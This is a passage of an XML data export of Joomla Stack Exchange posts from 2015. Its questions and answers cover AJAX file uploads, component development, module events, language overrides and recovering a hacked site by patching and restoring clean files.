href=&quot;https://stackoverflow.com/questions/10899384/uploading-both-data-and-files-in-one-form-using-ajax&quot;&gt;https://stackoverflow.com/questions/10899384/uploading-both-data-and-files-in-one-form-using-ajax&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can some help me on this.   &lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-11-21T23:31:45.470" Title="Submitting a Form with file inputs via AJAX" Tags="|joomla-3.4|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14394" PostTypeId="2" ParentId="14393" CreationDate="2015-11-21T23:31:45.470" Score="5" Body="&lt;p&gt;I managed to make it work.  Sharing the same which can help others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No change on the form and controller.  Slight changes on the model and ajax&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;model&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function uploadPicture() {&#xA;  $input = JFactory::getApplication ()-&amp;gt;input;&#xA;  $formdata = $input-&amp;gt;get ( 'jform', '', 'array' );&#xA;  $filedata = $input-&amp;gt;files-&amp;gt;get ( 'jform' );&#xA;  print_r($filedata);&#xA;  print_r($formdata);&#xA;  return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ajax&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#btnimageadd').on('click', (function(e){&#xA;    jQuery('#task').val('profile.profilepictureupload');&#xA;    Joomla.submitform('', document.getElementById('profile-form'));&#xA;});&#xA;&#xA;jQuery('form#profile-form').submit(function(){&#xA;&#xA;  jQuery('#ajax_loader_image_4').show();&#xA;&#xA;  var formData = new FormData(jQuery(this)[0]);&#xA;  jQuery.ajax({&#xA;    url: &quot;index.php&quot;,&#xA;    type: &quot;POST&quot;,&#xA;    data:  formData,&#xA;    async: false,&#xA;    cache: false,&#xA;    contentType:false,&#xA;    processData:false,&#xA;    success: function(result){&#xA;        console.log(result);&#xA;    },&#xA;    error: function(result){&#xA;        console.log(result);&#xA;    }&#xA;  });&#xA;&#xA;  return false;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically the button click will submit the form and AJAX will be triggered on page submit.  The return false will not do the page refresh.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-11-21T23:31:45.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14395" PostTypeId="1" CreationDate="2015-11-22T06:00:22.117" Score="1" ViewCount="590" Body="&lt;p&gt;One of my site was on Joomla 3.4.4. Certainly i can not log into the administrator. Despite using the correct credentials, the page just refreshes and does nothing. I checked my File manager and i discovered lots of unknown html files. Seems like there was a breach and files injected into my site. Is there anything that i can do to log into the backend? Any help would be appreciated&lt;/p&gt;&#xA;" OwnerUserId="5507" LastActivityDate="2015-11-22T13:18:42.150" Title="Cannot log into Joomla Admin backend" Tags="|joomla-3.x|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14396" PostTypeId="2" ParentId="14385" CreationDate="2015-11-22T06:41:32.813" Score="2" Body="&lt;p&gt;From your template.css file on line 5725 you can easliy solve this problem by modifying the css to &lt;b&gt;max-width: inherit;&lt;/b&gt; instead of the current one &lt;b&gt;max-width: 100%;&lt;/b&gt; Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="5507" LastActivityDate="2015-11-22T06:41:32.813" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14397" PostTypeId="2" ParentId="14395" CreationDate="2015-11-22T13:18:42.150" Score="3" Body="&lt;p&gt;Sorry to be the bearer of bad news, but it might have actually been your fault. Joomla 3.4.x is vulnerable to hackers, therefore Joomla 3.4.5 was released which patched the security issue, which you should have updated to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.2 to 3.4.4 exploits the content history, which allows people to gain full access to your database.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here are a list of things you need to do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Change your database username&lt;/li&gt;&#xA;&lt;li&gt;Change your database password&lt;/li&gt;&#xA;&lt;li&gt;Change your database table prefix (e.g &lt;code&gt;jos_&lt;/code&gt; to &lt;code&gt;xxxx_&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Create a new Joomla installation on a subdomain or localhost, then copy and paste the password hash for your user from the old database to the new database.&lt;/li&gt;&#xA;&lt;li&gt;Download the &lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/download/3.4.5/Joomla_3.4.4_to_3.4.5-Stable-Patch_Package.zip&quot; rel=&quot;nofollow&quot;&gt;Joomla 3.4.5 update package&lt;/a&gt; and upload the files via your hosting's File Manager.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If all of this is done, your site is now secure, but you still have infected files, which could still pose a security issue. I don't know how harmful these files could be, but I'd suggest taking a backup of your site using &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-backup.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba Backup&lt;/a&gt;, putting it on your localhost and completely removing your online site (ALL files).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have your backup running on your localhost, I'd suggest downloading a fresh copy of Joomla 3.4.5 (will come back to this in a bit).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now, delete the following directories:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;ROOT/components/com_content&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ROOT/libraries&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ROOT/includes&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ROOT/layouts&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ROOT/tmp&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ROOT/index.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then, delete the files that do not appear to be part of Joomla. You can compare the files in the root of your site to the files in the newly downloaded copy of Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now from your downloaded copy of Joomla, replace all the directories and files that your deleted before.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Hopefully, you will be able to login to your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helped.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-11-22T13:18:42.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14398" PostTypeId="2" ParentId="13714" CreationDate="2015-11-22T19:20:40.103" Score="2" Body="&lt;p&gt;Use &lt;strong&gt;external URL&lt;/strong&gt; menu item type for this. You don't have to provide the full URL. Just insert #&amp;lt;your-link-id&amp;gt; into the link field of your menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ks6lM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ks6lM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="154" LastEditDate="2015-11-22T19:28:26.750" LastActivityDate="2015-11-22T19:28:26.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14399" PostTypeId="1" AcceptedAnswerId="14402" CreationDate="2015-11-22T20:33:41.070" Score="6" ViewCount="150" Body="&lt;p&gt;So, basically, I've developed an application that gets the data from the database, processes it and then displays it on a webpage and now I need to integrate it with joomla. I've read about MVC components and it looks like there are 2 MVC's available: new and legacy. Plus there is F0F. There are almost no manuals on how to work with new MVC and the last stable F0F version is like 6 months old so I am kinda afraid that it wont be compatible with the new joomla version. So how should I proceed? Should I follow the official manual on joomla docs and use a legacy MVC, try a new MVC or use F0F?&lt;/p&gt;&#xA;" OwnerUserId="7314" LastActivityDate="2015-11-23T10:48:52.290" Title="Joomla Component Development: Starting Point" Tags="|joomla-3.x|component|development|mvc|fof|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14400" PostTypeId="2" ParentId="14399" CreationDate="2015-11-22T23:42:03.263" Score="0" Body="&lt;p&gt;You should never used legacy for new development as they are due to be phased out but left in to allow developers to adapt from legacy. FOF is akeebas framework on framework. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Developing_a_Basic_Component&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Developing_a_Basic_Component&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7212" LastActivityDate="2015-11-22T23:42:03.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14401" PostTypeId="1" CreationDate="2015-11-23T07:58:44.897" Score="0" ViewCount="1029" Body="&lt;p&gt;I'm new to Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to add &quot;Export&quot; button to administrator article list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know how to add this button at each article on the list, then how to add action to make this export working - especially how to get article entity in &quot;export&quot; action, with all related info (category, tags).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course it should be a module or plugin, not in core joomla so after joomla update it will be working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please direct me into some tutorial or other webpages where it will be explained.&lt;/p&gt;&#xA;" OwnerUserId="7317" LastEditorUserId="7317" LastEditDate="2015-11-23T10:23:13.170" LastActivityDate="2015-12-23T11:33:59.987" Title="Joomla - adding custom button in article list at each article" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14402" PostTypeId="2" ParentId="14399" CreationDate="2015-11-23T10:48:52.290" Score="3" Body="&lt;p&gt;Legacy MVC will be supported until EOL of Joomla 3 (at least). I would just go ahead and use that. You will find many tutorials for legacy MVC and you will probably get the most help for that here or in the forums. Also (almost) all core components are developed with legacy MVC so you have many examples at hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new MVC is already usable but you will have to implement a lot of functionality by yourself. I think it's easier to start with legacy but if you want an example how to use the new MVC you can look at the code of com_install because it already has been refactored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FOF can probably help you to develop your extensions easier. I didn't get a chance to use it yet but imho I would learn the legacy MVC first.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-11-23T10:48:52.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14403" PostTypeId="2" ParentId="14401" CreationDate="2015-11-23T11:24:30.527" Score="1" Body="&lt;p&gt;Adding an &quot;Export&quot; button to the Article view would require a bit of work, so for the exporting side of things, I'd simply suggest you use a pre-built extension, such as &lt;a href=&quot;http://extensions.joomla.org/extension/j2xml&quot; rel=&quot;nofollow&quot;&gt;J2XML&lt;/a&gt; or &lt;a href=&quot;http://extensions.joomla.org/extension/articles-import-export&quot; rel=&quot;nofollow&quot;&gt;HexData&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more choices, have a look at the &lt;a href=&quot;http://extensions.joomla.org/category/migration-a-conversion/data-import-a-export&quot; rel=&quot;nofollow&quot;&gt;Data Import &amp;amp; Export&lt;/a&gt; category on the Joomla Extensions Directory.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-11-23T11:24:30.527" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14404" PostTypeId="1" AcceptedAnswerId="14405" CreationDate="2015-11-23T17:25:53.980" Score="4" ViewCount="253" Body="&lt;p&gt;Is there a way we can 'listen' to the module save event so that we can use a plugin to do some additional work. I found &lt;a href=&quot;https://joomla.stackexchange.com/q/12252/112&quot;&gt;this question&lt;/a&gt; on stack overflow but I am confused as to where dispatcher will be created? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am trying to do is to create a plugin that will automatically resize any images that was saved for a module by running the code every time someone saves the module.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-11-23T20:06:11.657" Title="Is there any equivalent event to onContentAfterSave for Modules?" Tags="|module|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14405" PostTypeId="2" ParentId="14404" CreationDate="2015-11-23T20:06:11.657" Score="6" Body="&lt;p&gt;Yes, Administrator Modules component fires &lt;strong&gt;onExtensionAfterSave&lt;/strong&gt;, context com_modules.module.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-11-23T20:06:11.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14407" PostTypeId="2" ParentId="14377" CreationDate="2015-11-24T02:11:19.570" Score="0" Body="&lt;p&gt;You can add your IFRAME with video code (for example from youtube) to your custom html module. You just need to disable cleaning code from iframes. If you are using TinyMCE you can do it in TinyMCE plugin settings. Just remove &lt;code&gt;iframe&lt;/code&gt; from &lt;code&gt;Prohibited Elements&lt;/code&gt; setting and click on save. Then you can add your iframe into articles and custom html module.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-11-24T02:11:19.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14408" PostTypeId="2" ParentId="14201" CreationDate="2015-11-24T02:34:34.800" Score="2" Body="&lt;p&gt;It would be better to just load a &lt;code&gt;JFormFieldRadio&lt;/code&gt; it will take care of required scripts.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFormHelper::loadFieldClass('radio');&#xA;&#xA;$field = new JFormFieldRadio();&#xA;$field-&amp;gt;setup(new SimpleXMLElement('&amp;lt;field name=&quot;published&quot; type=&quot;radio&quot; size=&quot;1&quot; default=&quot;0&quot; class=&quot;btn-group btn-group-yesno&quot;&amp;gt;&amp;lt;option value=&quot;0&quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&amp;lt;option value=&quot;1&quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&amp;lt;/field&amp;gt;'), 1);&#xA;&#xA;echo $field-&amp;gt;renderField(array('hiddenLabel'=&amp;gt;true));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will work on a back-end. If you are trying to make it work on front-end it is possible you will need to update your template too.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-11-24T02:34:34.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14410" PostTypeId="2" ParentId="14351" CreationDate="2015-11-24T06:26:33.427" Score="0" Body="&lt;p&gt;I could resolve this issue by creating new database for the copy of my joomla site. And then changing configuration.php to point out the new database. And now I see changes separate for both the folders. &lt;/p&gt;&#xA;" OwnerUserId="7210" LastActivityDate="2015-11-24T06:26:33.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14411" PostTypeId="1" CreationDate="2015-11-24T06:58:37.167" Score="0" ViewCount="61" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gJ8OB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gJ8OB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hello&#xA;How to show menu name instead &quot;SUB MENU &quot; each page?&#xA;Thk.&lt;/p&gt;&#xA;" OwnerUserId="7321" LastEditorUserId="126" LastEditDate="2015-11-24T08:37:05.197" LastActivityDate="2016-02-22T14:16:51.567" Title="How to show menu name instead &quot;SUB MENU &quot; each page?" Tags="|joomla-3.4|extensions|module-display|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14412" PostTypeId="2" ParentId="14411" CreationDate="2015-11-24T08:38:26.487" Score="1" Body="&lt;p&gt;Most likely this is the title of the module that you have selected to show that menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search in module manager for a menu module named Sub Menu, click to edit it and change its title.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-11-24T08:38:26.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14414" PostTypeId="1" AcceptedAnswerId="14439" CreationDate="2015-11-24T12:15:18.193" Score="1" ViewCount="152" Body="&lt;p&gt;I created a sitemap with osmap. All works fine, I created for testing a new menuitem &quot;Sitemap&quot; put a refenrence to osmaps and get my sitemap on a different page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i want to display the Sitemap on every page. Is it possible to display &lt;strong&gt;the content&lt;/strong&gt; of my new menu item &quot;Sitemap&quot; to a module position?&lt;/p&gt;&#xA;" OwnerUserId="5771" LastActivityDate="2016-06-24T10:45:10.917" Title="Display html presentation of OSMap-Sitemap into module position" Tags="|joomla-3.x|module|menu-item|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14415" PostTypeId="2" ParentId="14411" CreationDate="2015-11-24T13:14:44.937" Score="1" Body="&lt;p&gt;You need to give that module a title that you want to show, and then Set'Show title' option to 'Yes'. Also you can set the Menu title and show it as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I guess Module option will work for you.&lt;/p&gt;&#xA;" OwnerUserId="5319" LastActivityDate="2015-11-24T13:14:44.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14416" PostTypeId="2" ParentId="14351" CreationDate="2015-11-24T13:23:35.423" Score="0" Body="&lt;p&gt;Have you &lt;strong&gt;changed the LOGS and TMP path according to the folders&lt;/strong&gt;. I guess that's the issue. Change the path from admin and then check. I don't think you will find the issues that both of them are working same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Also try creating different Database&lt;/strong&gt; for both the folders, as the CMS completely works and depends on the database. &lt;em&gt;So any change on one site would reflect other as well.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="5319" LastActivityDate="2015-11-24T13:23:35.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14417" PostTypeId="1" CreationDate="2015-11-24T15:15:56.203" Score="3" ViewCount="98" Body="&lt;p&gt;Examining the class &lt;code&gt;JTableUsergroup&lt;/code&gt; located in &lt;code&gt;libraries\joomla\table\usergroup.php&lt;/code&gt; I found out, that the nested set is rebuilt after storing a new usergroup but not after deleting one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this behaviour implemented on purpose and what is the reason for not rebuilding the nested set model?&lt;/p&gt;&#xA;" OwnerUserId="2238" LastActivityDate="2015-12-24T22:57:59.267" Title="Why is there no rebuild() function call after deleting a usergroup?" Tags="|joomla-3.x|jtable|joomla-user-groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14418" PostTypeId="2" ParentId="9141" CreationDate="2015-11-24T17:15:35.127" Score="1" Body="&lt;p&gt;You have to implement a &lt;strong&gt;long-lived token&lt;/strong&gt;, a shared secret between Joomla and the mobile App server. This access token allows to access both servers and it is submitted in every API call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following OAuth protocol practice, once the user is authenticated and long-lived token is issued to the mobile application. The application can access to server as long as the token is active. If it expires, user has to re-authorize.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, you have to implement in Joomla a way (plug-in) to authenticate the user with the token and execute the required operations. Tokens are shared between both servers in a table/service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if you are interested to collaborate with Joomla Mobile Apps, we have just started a Working Group: &lt;a href=&quot;https://volunteers.joomla.org/working-groups/mobile-apps-team&quot; rel=&quot;nofollow&quot;&gt;Mobile Apps Team&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Disclaimer: I am the leading developer of Composer App for Joocial. In this &lt;a href=&quot;http://www.extly.com/docs/autotweetng_joocial/installation/mobile-app&quot; rel=&quot;nofollow&quot;&gt;documentation chapter&lt;/a&gt;, you can check how an OAuth authentication plugin works.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2015-12-07T13:47:07.760" LastActivityDate="2015-12-07T13:47:07.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14419" PostTypeId="2" ParentId="14417" CreationDate="2015-11-24T17:32:13.473" Score="1" Body="&lt;p&gt;The question would be if there is a need to rebuild the structure after a deletion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion, only new items force a rebuild and usergroup deletion does not require a rebuild.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find a case where it does work as expected, it is a bug. You can submit a Pull Request to fix the issue to &lt;a href=&quot;https://github.com/joomla/joomla-cms&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-11-24T17:32:13.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14421" PostTypeId="2" ParentId="14019" CreationDate="2015-11-24T17:47:08.667" Score="1" Body="&lt;p&gt;Overrides do not usually re-declare classes. In most cases, an override is a file loaded instead of the original. &lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;Understanding Output Overrides&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given said that, there is an advanced technique to declare a system plugin and load a new class before the original class. Then, Joomla class loader will no load the original class. &lt;a href=&quot;https://joomla.stackexchange.com/questions/3676/overriding-a-plugins-non-templated-layout-files/3677#3677&quot;&gt;Overriding a plugin's non-templated layout files?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-11-24T17:47:08.667" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14422" PostTypeId="2" ParentId="13919" CreationDate="2015-11-24T17:52:24.813" Score="3" Body="&lt;p&gt;The final source code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get menu item&#xA;$app = JFactory::getApplication();&#xA;$menu = $app-&amp;gt;getMenu();&#xA;&#xA;// Get component's name&#xA;$comName = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('option');&#xA;&#xA;// Get actual view's name&#xA;$viewName = $this-&amp;gt;_name;&#xA;&#xA;// Get menu's item id for our compoent&#xA;$menuItem = $menu-&amp;gt;getItems( 'link', 'index.php?option=' . $comName . '&amp;amp;view=' . $viewName, true );&#xA;&#xA;echo JRoute::_('index.php?Itemid=' . $menuItem-&amp;gt;id . '&amp;amp;view=item&amp;amp;id=1', true, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-11-24T17:52:24.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14423" PostTypeId="2" ParentId="14329" CreationDate="2015-11-24T19:28:29.470" Score="0" Body="&lt;p&gt;Ok kunena developer has a hotfix for this uploaded now on github for the next upcomming update release, here is the commit link. &lt;a href=&quot;https://github.com/Kunena/Kunena-Forum/pull/3547&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Kunena/Kunena-Forum/pull/3547&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7284" LastActivityDate="2015-11-24T19:28:29.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14424" PostTypeId="1" AcceptedAnswerId="14428" CreationDate="2015-11-24T19:36:59.740" Score="5" ViewCount="2283" Body="&lt;p&gt;It is my understanding that &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$db-&amp;gt;setQuery($sql);            &#xA;$db-&amp;gt;execute();&#xA;$numRows = $db-&amp;gt;getNumRows();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does not work in Joomla 3.x, right? I get a &quot;Mysql_num_rows() expects parameter 1 to be resource&quot; error. The query runs fine if I don't call getNumRows(), and I have a try/catch block around the whole thing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are we supposed to use instead for say, an update query, where one can't just use loadRowList()?&lt;/p&gt;&#xA;" OwnerUserId="3948" LastEditorUserId="3948" LastEditDate="2015-11-24T20:21:13.690" LastActivityDate="2017-09-06T17:30:44.037" Title="What to use instead of getNumRows() in Joomla 3.x" Tags="|joomla-3.x|mysql|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14425" PostTypeId="1" CreationDate="2015-11-25T01:35:21.737" Score="0" ViewCount="1149" Body="&lt;p&gt;I did an akeeba backup of a live Joomla 2.5.28 site where this issue doesn't exist. Used kickstart to install the backup on my localhost (xampp) and when I go to the administrator login page and enter my credentials, I'm being redirected to the frontend. Manually returning to administrator folder returns the login page. I am able to login on the frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things I've tried;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Password reset via phpmyadmin (as I stated I can login on frontend)&lt;/li&gt;&#xA;&lt;li&gt;Disabled plugins that might be url redirect related. I'm not using JSecure. Plugins that I've disabled include sef, admintools,    sh404sef, and a few others which may be suspect.&lt;/li&gt;&#xA;&lt;li&gt;Removed the .htaccess files&lt;/li&gt;&#xA;&lt;li&gt;Set the live site url in configuration.php&lt;/li&gt;&#xA;&lt;li&gt;overrite all system files with a fresh J v2.5.28&lt;/li&gt;&#xA;&lt;li&gt;traceroute on frontend index returns null&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've spent hours and hours searching and have found no working solution. Any help or ideas will be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2016-01-27T07:32:03.207" Title="Why does administrator login redirect to frontend on localhost?" Tags="|joomla-2.5|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14426" PostTypeId="1" CreationDate="2015-11-25T02:42:43.723" Score="1" ViewCount="1090" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9AQfl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9AQfl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HI.&#xA;I need to change &quot;Continue Reading &quot; to &quot;Read more&quot;  How to do?&#xA;*Joomla 3.4.5&#xA;Thk.&lt;/p&gt;&#xA;" OwnerUserId="7321" LastActivityDate="2020-05-14T20:57:07.070" Title="I need to change &quot;Continue Reading &quot; to &quot;Read more&quot; How to do?" Tags="|joomla-3.x|component|com-content|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14427" PostTypeId="2" ParentId="14426" CreationDate="2015-11-25T03:53:41.407" Score="3" Body="&lt;p&gt;You can override the &quot;Read more&quot; text in the admin section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &quot;Extensions&quot; menu, choose the Language menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then choose &quot;overrides&quot; and click &quot;new&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can search for the constant you want to override in that screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help is available on that page and it links to: &lt;a href=&quot;https://help.joomla.org/proxy/index.php?option=com_help&amp;amp;keyref=Help34:Extensions_Language_Manager_Overrides_Edit&quot; rel=&quot;nofollow&quot;&gt;https://help.joomla.org/proxy/index.php?option=com_help&amp;amp;keyref=Help34:Extensions_Language_Manager_Overrides_Edit&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3570" LastActivityDate="2015-11-25T03:53:41.407" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14428" PostTypeId="2" ParentId="14424" CreationDate="2015-11-25T04:04:51.563" Score="5" Body="&lt;p&gt;&lt;strong&gt;[EDIT]&lt;/strong&gt;&#xA;Use the Get Affected Rows function for INSERT, UPDATE, REPLACE or DELETE queries in Joomla&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;getAffectedRows();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;--Below is included as the original answer but not really the most helpful answer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has been answered on stackoverflow here: &lt;a href=&quot;https://stackoverflow.com/questions/27968427/how-to-count-numbers-of-row-of-sql-query-in-joomla-and-display-it&quot;&gt;https://stackoverflow.com/questions/27968427/how-to-count-numbers-of-row-of-sql-query-in-joomla-and-display-it&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, it looks like best you've got in 3.x 